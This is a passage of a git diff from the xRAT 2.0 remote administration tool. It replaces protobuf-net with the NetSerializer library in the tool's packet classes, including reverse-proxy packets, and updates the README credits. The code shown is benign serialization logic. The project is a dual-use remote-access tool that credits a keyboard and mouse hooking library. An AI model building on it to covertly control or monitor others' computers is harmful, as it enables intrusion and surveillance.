System.ServiceModel.Configuration; - -namespace ProtoBuf.ServiceModel -{ - /// - /// Configuration element to swap out DatatContractSerilaizer with the XmlProtoSerializer for a given endpoint. - /// - /// - public class ProtoBehaviorExtension : BehaviorExtensionElement - { - /// - /// Creates a new ProtoBehaviorExtension instance. - /// - public ProtoBehaviorExtension() - { - } - - /// - /// Gets the type of behavior. - /// - public override Type BehaviorType - { - get - { - return typeof(ProtoEndpointBehavior); - } - } - - /// - /// Creates a behavior extension based on the current configuration settings. - /// - /// The behavior extension. - protected override object CreateBehavior() - { - return new ProtoEndpointBehavior(); - } - } -} -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ServiceModel/ProtoEndpointBehavior.cs b/Client/Core/ProtoBuf/ServiceModel/ProtoEndpointBehavior.cs deleted file mode 100644 index ec269f3e..00000000 --- a/Client/Core/ProtoBuf/ServiceModel/ProtoEndpointBehavior.cs +++ /dev/null @@ -1,86 +0,0 @@ - -#if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER -using System.ServiceModel.Description; - -namespace ProtoBuf.ServiceModel -{ - /// - /// Behavior to swap out DatatContractSerilaizer with the XmlProtoSerializer for a given endpoint. - /// - /// Add the following to the server and client app.config in the system.serviceModel section: - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// Configure your endpoints to have a behaviorConfiguration as follows: - /// - /// - /// - /// - /// - /// - /// - /// - /// - public class ProtoEndpointBehavior : IEndpointBehavior - { -#region IEndpointBehavior Members - - void IEndpointBehavior.AddBindingParameters(ServiceEndpoint endpoint, System.ServiceModel.Channels.BindingParameterCollection bindingParameters) - { - } - - void IEndpointBehavior.ApplyClientBehavior(ServiceEndpoint endpoint, System.ServiceModel.Dispatcher.ClientRuntime clientRuntime) - { - ReplaceDataContractSerializerOperationBehavior(endpoint); - } - - void IEndpointBehavior.ApplyDispatchBehavior(ServiceEndpoint endpoint, System.ServiceModel.Dispatcher.EndpointDispatcher endpointDispatcher) - { - ReplaceDataContractSerializerOperationBehavior(endpoint); - } - - void IEndpointBehavior.Validate(ServiceEndpoint endpoint) - { - } - - private static void ReplaceDataContractSerializerOperationBehavior(ServiceEndpoint serviceEndpoint) - { - foreach (OperationDescription operationDescription in serviceEndpoint.Contract.Operations) - { - ReplaceDataContractSerializerOperationBehavior(operationDescription); - } - } - - - private static void ReplaceDataContractSerializerOperationBehavior(OperationDescription description) - { - DataContractSerializerOperationBehavior dcsOperationBehavior = description.Behaviors.Find(); - if (dcsOperationBehavior != null) - { - description.Behaviors.Remove(dcsOperationBehavior); - - ProtoOperationBehavior newBehavior = new ProtoOperationBehavior(description); - newBehavior.MaxItemsInObjectGraph = dcsOperationBehavior.MaxItemsInObjectGraph; - description.Behaviors.Add(newBehavior); - } - } - - - #endregion - } - -} -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ServiceModel/ProtoOperationBehavior.cs b/Client/Core/ProtoBuf/ServiceModel/ProtoOperationBehavior.cs deleted file mode 100644 index 4306f3b2..00000000 --- a/Client/Core/ProtoBuf/ServiceModel/ProtoOperationBehavior.cs +++ /dev/null @@ -1,51 +0,0 @@ - -#if FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER && !NO_GENERICS -using System; -using System.Collections.Generic; -using System.Runtime.Serialization; -using System.ServiceModel.Description; -using System.Xml; -using ProtoBuf.Meta; - -namespace ProtoBuf.ServiceModel -{ - /// - /// Describes a WCF operation behaviour that can perform protobuf serialization - /// - public sealed class ProtoOperationBehavior : DataContractSerializerOperationBehavior - { - private TypeModel model; - /// - /// The type-model that should be used with this behaviour - /// - public TypeModel Model - { - get { return model; } - set { - if (value == null) throw new ArgumentNullException("Model"); - model = value; - } - - } - /// - /// Create a new ProtoOperationBehavior instance - /// - public ProtoOperationBehavior(OperationDescription operation) : base(operation) - { -#if !NO_RUNTIME - model = RuntimeTypeModel.Default; -#endif - } - //public ProtoOperationBehavior(OperationDescription operation, DataContractFormatAttribute dataContractFormat) : base(operation, dataContractFormat) { } - - /// - /// Creates a protobuf serializer if possible (falling back to the default WCF serializer) - /// - public override XmlObjectSerializer CreateSerializer(Type type, System.Xml.XmlDictionaryString name, System.Xml.XmlDictionaryString ns, IList knownTypes) - { - if (model == null) throw new InvalidOperationException("No Model instance has been assigned to the ProtoOperationBehavior"); - return XmlProtoSerializer.TryCreate(model, type) ?? base.CreateSerializer(type, name, ns, knownTypes); - } - } -} -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ServiceModel/XmlProtoSerializer.cs b/Client/Core/ProtoBuf/ServiceModel/XmlProtoSerializer.cs deleted file mode 100644 index f4b4e9e6..00000000 --- a/Client/Core/ProtoBuf/ServiceModel/XmlProtoSerializer.cs +++ /dev/null @@ -1,207 +0,0 @@ - -#if (FEAT_SERVICEMODEL && PLAT_XMLSERIALIZER) || (SILVERLIGHT && !PHONE7) -using System.IO; -using System.Runtime.Serialization; -using System.Xml; -using ProtoBuf.Meta; -using System; - -namespace ProtoBuf.ServiceModel -{ - /// - /// An xml object serializer that can embed protobuf data in a base-64 hunk (looking like a byte[]) - /// - public sealed class XmlProtoSerializer : XmlObjectSerializer - { - private readonly TypeModel model; - private readonly int key; - private readonly bool isList, isEnum; - private readonly Type type; - internal XmlProtoSerializer(TypeModel model, int key, Type type, bool isList) - { - if (model == null) throw new ArgumentNullException("model"); - if (key < 0) throw new ArgumentOutOfRangeException("key"); - if (type == null) throw new ArgumentOutOfRangeException("type"); - this.model = model; - this.key = key; - this.isList = isList; - this.type = type; - this.isEnum = Helpers.IsEnum(type); - } - /// - /// Attempt to create a new serializer for the given model and type - /// - /// A new serializer instance if the type is recognised by the model; null otherwise - public static XmlProtoSerializer TryCreate(TypeModel model, Type type) - { - if (model == null) throw new ArgumentNullException("model"); - if (type == null) throw new ArgumentNullException("type"); - - bool isList; - int key = GetKey(model, ref type, out isList); - if (key >= 0) - { - return new XmlProtoSerializer(model, key, type, isList); - } - return null; - } - /// - /// Creates a new serializer for the given model and type - /// - public XmlProtoSerializer(TypeModel model, Type type) - { - if (model == null) throw new ArgumentNullException("model"); - if (type == null) throw new ArgumentNullException("type"); - - key = GetKey(model, ref type, out isList); - this.model = model; - this.type = type; - this.isEnum = Helpers.IsEnum(type); - if (key < 0) throw new ArgumentOutOfRangeException("type", "Type not recognised by the model: " + type.FullName); - } - static int GetKey(TypeModel model, ref Type type, out bool isList) - { - if (model != null && type != null) - { - int key = model.GetKey(ref type); - if (key >= 0) - { - isList = false; - return key; - } - Type itemType = TypeModel.GetListItemType(model, type); - if (itemType != null) - { - key = model.GetKey(ref itemType); - if (key >= 0) - { - isList = true; - return key; - } - } - } - - isList = false; - return -1; - - } - /// - /// Ends an object in the output - /// - public override void WriteEndObject(System.Xml.XmlDictionaryWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - writer.WriteEndElement(); - } - /// - /// Begins an object in the output - /// - public override void WriteStartObject(System.Xml.XmlDictionaryWriter writer, object graph) - { - if (writer == null) throw new ArgumentNullException("writer"); - writer.WriteStartElement(PROTO_ELEMENT); - } - private const string PROTO_ELEMENT = "proto"; - /// - /// Writes the body of an object in the output - /// - public override void WriteObjectContent(System.Xml.XmlDictionaryWriter writer, object graph) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (graph == null) - { - writer.WriteAttributeString("nil", "true"); - } - else - { - using (MemoryStream ms = new MemoryStream()) - { - if (isList) - { - model.Serialize(ms, graph, null); - } - else - { - using (ProtoWriter protoWriter = new ProtoWriter(ms, model, null)) - { - model.Serialize(key, graph, protoWriter); - } - } - byte[] buffer = ms.GetBuffer(); - writer.WriteBase64(buffer, 0, (int)ms.Length); - } - } - } - - /// - /// Indicates whether this is the start of an object we are prepared to handle - /// - public override bool IsStartObject(System.Xml.XmlDictionaryReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - reader.MoveToContent(); - return reader.NodeType == System.Xml.XmlNodeType.Element && reader.Name == PROTO_ELEMENT; - } - - /// - /// Reads the body of an object - /// - public override object ReadObject(System.Xml.XmlDictionaryReader reader, bool verifyObjectName) - { - if (reader == null) throw new ArgumentNullException("reader"); - reader.MoveToContent(); - bool isSelfClosed = reader.IsEmptyElement, isNil = reader.GetAttribute("nil") == "true"; - reader.ReadStartElement(PROTO_ELEMENT); - - // explicitly null - if (isNil) - { - if(!isSelfClosed) reader.ReadEndElement(); - return null; - } - if(isSelfClosed) // no real content - { - if (isList || isEnum) - { - return model.Deserialize(Stream.Null, null, type, null); - } - ProtoReader protoReader = null; - try - { - protoReader = ProtoReader.Create(Stream.Null, model, null, ProtoReader.TO_EOF); - return model.Deserialize(key, null, protoReader); - } - finally - { - ProtoReader.Recycle(protoReader); - } - } - - object result; - Helpers.DebugAssert(reader.CanReadBinaryContent, "CanReadBinaryContent"); - using (MemoryStream ms = new MemoryStream(reader.ReadContentAsBase64())) - { - if (isList || isEnum) - { - result = model.Deserialize(ms, null, type, null); - } - else - { - ProtoReader protoReader = null; - try - { - protoReader = ProtoReader.Create(ms, model, null, ProtoReader.TO_EOF); - result = model.Deserialize(key, null, protoReader); - } - finally - { - ProtoReader.Recycle(protoReader); - } - } - } - reader.ReadEndElement(); - return result; - } - } -} -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/SubItemToken.cs b/Client/Core/ProtoBuf/SubItemToken.cs deleted file mode 100644 index ca44230b..00000000 --- a/Client/Core/ProtoBuf/SubItemToken.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Used to hold particulars relating to nested objects. This is opaque to the caller - simply - /// give back the token you are given at the end of an object. - /// - public struct SubItemToken - { - internal readonly int value; - - internal SubItemToken(int value) - { - this.value = value; - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/WireType.cs b/Client/Core/ProtoBuf/WireType.cs deleted file mode 100644 index 719c8a8f..00000000 --- a/Client/Core/ProtoBuf/WireType.cs +++ /dev/null @@ -1,50 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Indicates the encoding used to represent an individual value in a protobuf stream - /// - public enum WireType - { - /// - /// Represents an error condition - /// - None = -1, - - /// - /// Base-128 variant-length encoding - /// - Variant = 0, - - /// - /// Fixed-length 8-byte encoding - /// - Fixed64 = 1, - - /// - /// Length-variant-prefixed encoding - /// - String = 2, - - /// - /// Indicates the start of a group - /// - StartGroup = 3, - - /// - /// Indicates the end of a group - /// - EndGroup = 4, - - /// - /// Fixed-length 4-byte encoding - /// 10 - Fixed32 = 5, - - /// - /// This is not a formal wire-type in the "protocol buffers" spec, but - /// denotes a variant integer that should be interpreted using - /// zig-zag semantics (so -ve numbers aren't a significant overhead) - /// - SignedVariant = WireType.Variant | (1 << 3), - } -} \ No newline at end of file diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs index d04182da..40d89dd5 100644 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs @@ -1,19 +1,16 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; using xClient.Core.Packets; namespace xClient.Core.ReverseProxy.Packets { - [ProtoContract] + [Serializable] public class ReverseProxyConnect : IPacket { - [ProtoMember(1)] public int ConnectionId { get; set; } - [ProtoMember(2)] public string Target { get; set; } - [ProtoMember(3)] public int Port { get; set; } public ReverseProxyConnect() diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs index ca80dc83..6381da15 100644 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs @@ -1,26 +1,20 @@ -using ProtoBuf; -using System; +using System; using xClient.Core.Networking; using xClient.Core.Packets; namespace xClient.Core.ReverseProxy.Packets { - [ProtoContract] + [Serializable] public class ReverseProxyConnectResponse : IPacket { - [ProtoMember(1)] public int ConnectionId { get; set; } - [ProtoMember(2)] public bool IsConnected { get; set; } - [ProtoMember(3)] public long LocalEndPoint { get; set; } - [ProtoMember(4)] public int LocalPort { get; set; } - [ProtoMember(5)] public string HostName { get; set; } public ReverseProxyConnectResponse() diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs index 51b072d3..b0517cde 100644 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs @@ -1,16 +1,14 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; using xClient.Core.Packets; namespace xClient.Core.ReverseProxy.Packets { - [ProtoContract] + [Serializable] public class ReverseProxyData : IPacket { - [ProtoMember(1)] public int ConnectionId { get; set; } - [ProtoMember(2)] public byte[] Data { get; set; } public ReverseProxyData() diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs index 178d8595..67fa0709 100644 --- a/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs +++ b/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs @@ -1,13 +1,12 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; using xClient.Core.Packets; namespace xClient.Core.ReverseProxy.Packets { - [ProtoContract] + [Serializable] public class ReverseProxyDisconnect : IPacket { - [ProtoMember(1)] public int ConnectionId { get; set; } public ReverseProxyDisconnect(int connectionId) diff --git a/Client/Program.cs b/Client/Program.cs index e300e610..244dea83 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -54,7 +54,7 @@ private static void InitializeClient() { ConnectClient = new Client(); - ConnectClient.AddTypesToSerializer(typeof (IPacket), new Type[] + ConnectClient.AddTypesToSerializer(new Type[] { typeof (Core.Packets.ServerPackets.GetAuthentication), typeof (Core.Packets.ServerPackets.DoClientDisconnect), diff --git a/README.md b/README.md index 6e9e97a0..c1e355dc 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ xRAT 2.0 is a fast and light-weight remote administration tool coded in C#. Prov Features --- * Buffered TCP/IP network stream -* Protocol Buffers to send & receive serialized data +* Fast Serializer for packets (NetSerializer) * Compressed (QuickLZ) & Encrypted (AES-128) communication * Multi-Threaded * UPnP Support @@ -78,16 +78,16 @@ BTC: `1EWgMfBw1fUSWMfat9oY8t8qRjCRiMEbET` Credits --- -Protocol Buffers - Google's data interchange format -Copyright (c) 2008 Google Inc. -https://developers.google.com/protocol-buffers/ +NetSerializer +Copyright (c) 2015 Tomi Valkeinen +https://github.com/tomba/netserializer ResourceLib -Copyright (c) Daniel Doubrovkine, Vestris Inc., 2008-2013 +Copyright (c) 2008-2013 Daniel Doubrovkine, Vestris Inc. https://github.com/dblock/resourcelib GlobalMouseKeyHook -Copyright (c) 2004-2015, George Mamaladze +Copyright (c) 2004-2015 George Mamaladze https://github.com/gmamaladze/globalmousekeyhook Mono.Cecil diff --git a/Server/Core/NetSerializer/CodeGenContext.cs b/Server/Core/NetSerializer/CodeGenContext.cs new file mode 100644 index 00000000..b7b6ea48 --- /dev/null +++ b/Server/Core/NetSerializer/CodeGenContext.cs @@ -0,0 +1,110 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection; + +namespace xServer.Core.NetSerializer +{ + public sealed class TypeData + { + public TypeData(ushort typeID, IDynamicTypeSerializer serializer) + { + this.TypeID = typeID; + this.TypeSerializer = serializer; + + this.NeedsInstanceParameter = true; + } + + public TypeData(ushort typeID, MethodInfo writer, MethodInfo reader) + { + this.TypeID = typeID; + this.WriterMethodInfo = writer; + this.ReaderMethodInfo = reader; + + this.NeedsInstanceParameter = writer.GetParameters().Length == 3; + } + + public readonly ushort TypeID; + public bool IsGenerated { get { return this.TypeSerializer != null; } } + public readonly IDynamicTypeSerializer TypeSerializer; + public MethodInfo WriterMethodInfo; + public MethodInfo ReaderMethodInfo; + + public bool NeedsInstanceParameter { get; private set; } + } + + public sealed class CodeGenContext + { + readonly Dictionary m_typeMap; + + public CodeGenContext(Dictionary typeMap) + { + m_typeMap = typeMap; + + var td = m_typeMap[typeof(object)]; + this.SerializerSwitchMethodInfo = td.WriterMethodInfo; + this.DeserializerSwitchMethodInfo = td.ReaderMethodInfo; + } + + public MethodInfo SerializerSwitchMethodInfo { get; private set; } + public MethodInfo DeserializerSwitchMethodInfo { get; private set; } + + public MethodInfo GetWriterMethodInfo(Type type) + { + return m_typeMap[type].WriterMethodInfo; + } + + public MethodInfo GetReaderMethodInfo(Type type) + { + return m_typeMap[type].ReaderMethodInfo; + } + + public bool IsGenerated(Type type) + { + return m_typeMap[type].IsGenerated; + } + + public IDictionary TypeMap { get { return m_typeMap; } } + + bool CanCallDirect(Type type) + { + // We can call the (De)serializer method directly for: + // - Value types + // - Array types + // - Sealed types with static (De)serializer method, as the method will handle null + // Other reference types go through the (De)serializerSwitch + + bool direct; + + if (type.IsValueType || type.IsArray) + direct = true; + else if (type.IsSealed && IsGenerated(type) == false) + direct = true; + else + direct = false; + + return direct; + } + + public TypeData GetTypeData(Type type) + { + return m_typeMap[type]; + } + + public TypeData GetTypeDataForCall(Type type) + { + bool direct = CanCallDirect(type); + if (!direct) + type = typeof(object); + + return GetTypeData(type); + } + } +} diff --git a/Server/Core/NetSerializer/Helpers.cs b/Server/Core/NetSerializer/Helpers.cs new file mode 100644 index 00000000..fc77929e --- /dev/null +++ b/Server/Core/NetSerializer/Helpers.cs @@ -0,0 +1,89 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Reflection.Emit; + +namespace xServer.Core.NetSerializer +{ + static class Helpers + { + public static readonly ConstructorInfo ExceptionCtorInfo = typeof(Exception).GetConstructor(BindingFlags.Public | BindingFlags.Instance, null, new Type[0], null); + + public static IEnumerable GetFieldInfos(Type type) + { + Debug.Assert(type.IsSerializable); + + var fields = type.GetFields(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.DeclaredOnly) + .Where(fi => (fi.Attributes & FieldAttributes.NotSerialized) == 0) + .OrderBy(f => f.Name, StringComparer.Ordinal); + + if (type.BaseType == null) + { + return fields; + } + else + { + var baseFields = GetFieldInfos(type.BaseType); + return baseFields.Concat(fields); + } + } + + public static DynamicMethod GenerateDynamicSerializerStub(Type type) + { + var dm = new DynamicMethod("Serialize", null, + new Type[] { typeof(Serializer), typeof(Stream), type }, + typeof(Serializer), true); + + dm.DefineParameter(1, ParameterAttributes.None, "serializer"); + dm.DefineParameter(2, ParameterAttributes.None, "stream"); + dm.DefineParameter(3, ParameterAttributes.None, "value"); + + return dm; + } + + public static DynamicMethod GenerateDynamicDeserializerStub(Type type) + { + var dm = new DynamicMethod("Deserialize", null, + new Type[] { typeof(Serializer), typeof(Stream), type.MakeByRefType() }, + typeof(Serializer), true); + dm.DefineParameter(1, ParameterAttributes.None, "serializer"); + dm.DefineParameter(2, ParameterAttributes.None, "stream"); + dm.DefineParameter(3, ParameterAttributes.Out, "value"); + + return dm; + } + +#if GENERATE_DEBUGGING_ASSEMBLY + public static MethodBuilder GenerateStaticSerializerStub(TypeBuilder tb, Type type) + { + var mb = tb.DefineMethod("Serialize", MethodAttributes.Public | MethodAttributes.Static, null, + new Type[] { typeof(Serializer), typeof(Stream), type }); + mb.DefineParameter(1, ParameterAttributes.None, "serializer"); + mb.DefineParameter(2, ParameterAttributes.None, "stream"); + mb.DefineParameter(3, ParameterAttributes.None, "value"); + return mb; + } + + public static MethodBuilder GenerateStaticDeserializerStub(TypeBuilder tb, Type type) + { + var mb = tb.DefineMethod("Deserialize", MethodAttributes.Public | MethodAttributes.Static, null, + new Type[] { typeof(Serializer), typeof(Stream), type.MakeByRefType() }); + mb.DefineParameter(1, ParameterAttributes.None, "serializer"); + mb.DefineParameter(2, ParameterAttributes.None, "stream"); + mb.DefineParameter(3, ParameterAttributes.Out, "value"); + return mb; + } +#endif + } +} diff --git a/Server/Core/NetSerializer/ITypeSerializer.cs b/Server/Core/NetSerializer/ITypeSerializer.cs new file mode 100644 index 00000000..f24b5312 --- /dev/null +++ b/Server/Core/NetSerializer/ITypeSerializer.cs @@ -0,0 +1,49 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Reflection.Emit; + +namespace xServer.Core.NetSerializer +{ + public interface ITypeSerializer + { + /// + /// Returns if this TypeSerializer handles the given type + /// + bool Handles(Type type); + + /// + /// Return types that are needed to serialize the given type + /// + IEnumerable GetSubtypes(Type type); + } + + public interface IStaticTypeSerializer : ITypeSerializer + { + /// + /// Get static methods used to serialize and deserialize the given type + /// + void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader); + } + + public interface IDynamicTypeSerializer : ITypeSerializer + { + /// + /// Generate code to serialize the given type + /// + void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il); + + /// + /// Generate code to deserialize the given type + /// + void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il); + } +} diff --git a/Server/Core/NetSerializer/Primitives.cs b/Server/Core/NetSerializer/Primitives.cs new file mode 100644 index 00000000..77b257db --- /dev/null +++ b/Server/Core/NetSerializer/Primitives.cs @@ -0,0 +1,521 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.IO; +using System.Reflection; +using System.Text; + +namespace xServer.Core.NetSerializer +{ + public static class Primitives + { + public static MethodInfo GetWritePrimitive(Type type) + { + return typeof(Primitives).GetMethod("WritePrimitive", + BindingFlags.Static | BindingFlags.Public | BindingFlags.ExactBinding, null, + new Type[] { typeof(Stream), type }, null); + } + + public static MethodInfo GetReaderPrimitive(Type type) + { + return typeof(Primitives).GetMethod("ReadPrimitive", + BindingFlags.Static | BindingFlags.Public | BindingFlags.ExactBinding, null, + new Type[] { typeof(Stream), type.MakeByRefType() }, null); + } + + static uint EncodeZigZag32(int n) + { + return (uint)((n << 1) ^ (n >> 31)); + } + + static ulong EncodeZigZag64(long n) + { + return (ulong)((n << 1) ^ (n >> 63)); + } + + static int DecodeZigZag32(uint n) + { + return (int)(n >> 1) ^ -(int)(n & 1); + } + + static long DecodeZigZag64(ulong n) + { + return (long)(n >> 1) ^ -(long)(n & 1); + } + + static uint ReadVarint32(Stream stream) + { + int result = 0; + int offset = 0; + + for (; offset < 32; offset += 7) + { + int b = stream.ReadByte(); + if (b == -1) + throw new EndOfStreamException(); + + result |= (b & 0x7f) << offset; + + if ((b & 0x80) == 0) + return (uint)result; + } + + throw new InvalidDataException(); + } + + static void WriteVarint32(Stream stream, uint value) + { + for (; value >= 0x80u; value >>= 7) + stream.WriteByte((byte)(value | 0x80u)); + + stream.WriteByte((byte)value); + } + + static ulong ReadVarint64(Stream stream) + { + long result = 0; + int offset = 0; + + for (; offset < 64; offset += 7) + { + int b = stream.ReadByte(); + if (b == -1) + throw new EndOfStreamException(); + + result |= ((long)(b & 0x7f)) << offset; + + if ((b & 0x80) == 0) + return (ulong)result; + } + + throw new InvalidDataException(); + } + + static void WriteVarint64(Stream stream, ulong value) + { + for (; value >= 0x80u; value >>= 7) + stream.WriteByte((byte)(value | 0x80u)); + + stream.WriteByte((byte)value); + } + + + public static void WritePrimitive(Stream stream, bool value) + { + stream.WriteByte(value ? (byte)1 : (byte)0); + } + + public static void ReadPrimitive(Stream stream, out bool value) + { + var b = stream.ReadByte(); + value = b != 0; + } + + public static void WritePrimitive(Stream stream, byte value) + { + stream.WriteByte(value); + } + + public static void ReadPrimitive(Stream stream, out byte value) + { + value = (byte)stream.ReadByte(); + } + + public static void WritePrimitive(Stream stream, sbyte value) + { + stream.WriteByte((byte)value); + } + + public static void ReadPrimitive(Stream stream, out sbyte value) + { + value = (sbyte)stream.ReadByte(); + } + + public static void WritePrimitive(Stream stream, char value) + { + WriteVarint32(stream, value); + } + + public static void ReadPrimitive(Stream stream, out char value) + { + value = (char)ReadVarint32(stream); + } + + public static void WritePrimitive(Stream stream, ushort value) + { + WriteVarint32(stream, value); + } + + public static void ReadPrimitive(Stream stream, out ushort value) + { + value = (ushort)ReadVarint32(stream); + } + + public static void WritePrimitive(Stream stream, short value) + { + WriteVarint32(stream, EncodeZigZag32(value)); + } + + public static void ReadPrimitive(Stream stream, out short value) + { + value = (short)DecodeZigZag32(ReadVarint32(stream)); + } + + public static void WritePrimitive(Stream stream, uint value) + { + WriteVarint32(stream, value); + } + + public static void ReadPrimitive(Stream stream, out uint value) + { + value = ReadVarint32(stream); + } + + public static void WritePrimitive(Stream stream, int value) + { + WriteVarint32(stream, EncodeZigZag32(value)); + } + + public static void ReadPrimitive(Stream stream, out int value) + { + value = DecodeZigZag32(ReadVarint32(stream)); + } + + public static void WritePrimitive(Stream stream, ulong value) + { + WriteVarint64(stream, value); + } + + public static void ReadPrimitive(Stream stream, out ulong value) + { + value = ReadVarint64(stream); + } + + public static void WritePrimitive(Stream stream, long value) + { + WriteVarint64(stream, EncodeZigZag64(value)); + } + + public static void ReadPrimitive(Stream stream, out long value) + { + value = DecodeZigZag64(ReadVarint64(stream)); + } + +#if !NO_UNSAFE + public static unsafe void WritePrimitive(Stream stream, float value) + { + uint v = *(uint*)(&value); + WriteVarint32(stream, v); + } + + public static unsafe void ReadPrimitive(Stream stream, out float value) + { + uint v = ReadVarint32(stream); + value = *(float*)(&v); + } + + public static unsafe void WritePrimitive(Stream stream, double value) + { + ulong v = *(ulong*)(&value); + WriteVarint64(stream, v); + } + + public static unsafe void ReadPrimitive(Stream stream, out double value) + { + ulong v = ReadVarint64(stream); + value = *(double*)(&v); + } +#else + public static void WritePrimitive(Stream stream, float value) + { + WritePrimitive(stream, (double)value); + } + + public static void ReadPrimitive(Stream stream, out float value) + { + double v; + ReadPrimitive(stream, out v); + value = (float)v; + } + + public static void WritePrimitive(Stream stream, double value) + { + ulong v = (ulong)BitConverter.DoubleToInt64Bits(value); + WriteVarint64(stream, v); + } + + public static void ReadPrimitive(Stream stream, out double value) + { + ulong v = ReadVarint64(stream); + value = BitConverter.Int64BitsToDouble((long)v); + } +#endif + + public static void WritePrimitive(Stream stream, DateTime value) + { + long v = value.ToBinary(); + WritePrimitive(stream, v); + } + + public static void ReadPrimitive(Stream stream, out DateTime value) + { + long v; + ReadPrimitive(stream, out v); + value = DateTime.FromBinary(v); + } + +#if NO_UNSAFE + public static void WritePrimitive(Stream stream, string value) + { + if (value == null) + { + WritePrimitive(stream, (uint)0); + return; + } + + var encoding = new UTF8Encoding(false, true); + + int len = encoding.GetByteCount(value); + + WritePrimitive(stream, (uint)len + 1); + + var buf = new byte[len]; + + encoding.GetBytes(value, 0, value.Length, buf, 0); + + stream.Write(buf, 0, len); + } + + public static void ReadPrimitive(Stream stream, out string value) + { + uint len; + ReadPrimitive(stream, out len); + + if (len == 0) + { + value = null; + return; + } + else if (len == 1) + { + value = string.Empty; + return; + } + + len -= 1; + + var encoding = new UTF8Encoding(false, true); + + var buf = new byte[len]; + + int l = 0; + + while (l < len) + { + int r = stream.Read(buf, l, (int)len - l); + if (r == 0) + throw new EndOfStreamException(); + l += r; + } + + value = encoding.GetString(buf); + } +#else + sealed class StringHelper + { + public StringHelper() + { + this.Encoding = new UTF8Encoding(false, true); + } + + public const int BYTEBUFFERLEN = 256; + public const int CHARBUFFERLEN = 128; + + Encoder m_encoder; + Decoder m_decoder; + + byte[] m_byteBuffer; + char[] m_charBuffer; + + public UTF8Encoding Encoding { get; private set; } + public Encoder Encoder { get { if (m_encoder == null) m_encoder = this.Encoding.GetEncoder(); return m_encoder; } } + public Decoder Decoder { get { if (m_decoder == null) m_decoder = this.Encoding.GetDecoder(); return m_decoder; } } + + public byte[] ByteBuffer { get { if (m_byteBuffer == null) m_byteBuffer = new byte[BYTEBUFFERLEN]; return m_byteBuffer; } } + public char[] CharBuffer { get { if (m_charBuffer == null) m_charBuffer = new char[CHARBUFFERLEN]; return m_charBuffer; } } + } + + [ThreadStatic] + static StringHelper s_stringHelper; + + public unsafe static void WritePrimitive(Stream stream, string value) + { + if (value == null) + { + WritePrimitive(stream, (uint)0); + return; + } + else if (value.Length == 0) + { + WritePrimitive(stream, (uint)1); + return; + } + + var helper = s_stringHelper; + if (helper == null) + s_stringHelper = helper = new StringHelper(); + + var encoder = helper.Encoder; + var buf = helper.ByteBuffer; + + int totalChars = value.Length; + int totalBytes; + + fixed (char* ptr = value) + totalBytes = encoder.GetByteCount(ptr, totalChars, true); + + WritePrimitive(stream, (uint)totalBytes + 1); + WritePrimitive(stream, (uint)totalChars); + + int p = 0; + bool completed = false; + + while (completed == false) + { + int charsConverted; + int bytesConverted; + + fixed (char* src = value) + fixed (byte* dst = buf) + { + encoder.Convert(src + p, totalChars - p, dst, buf.Length, true, + out charsConverted, out bytesConverted, out completed); + } + + stream.Write(buf, 0, bytesConverted); + + p += charsConverted; + } + } + + public static void ReadPrimitive(Stream 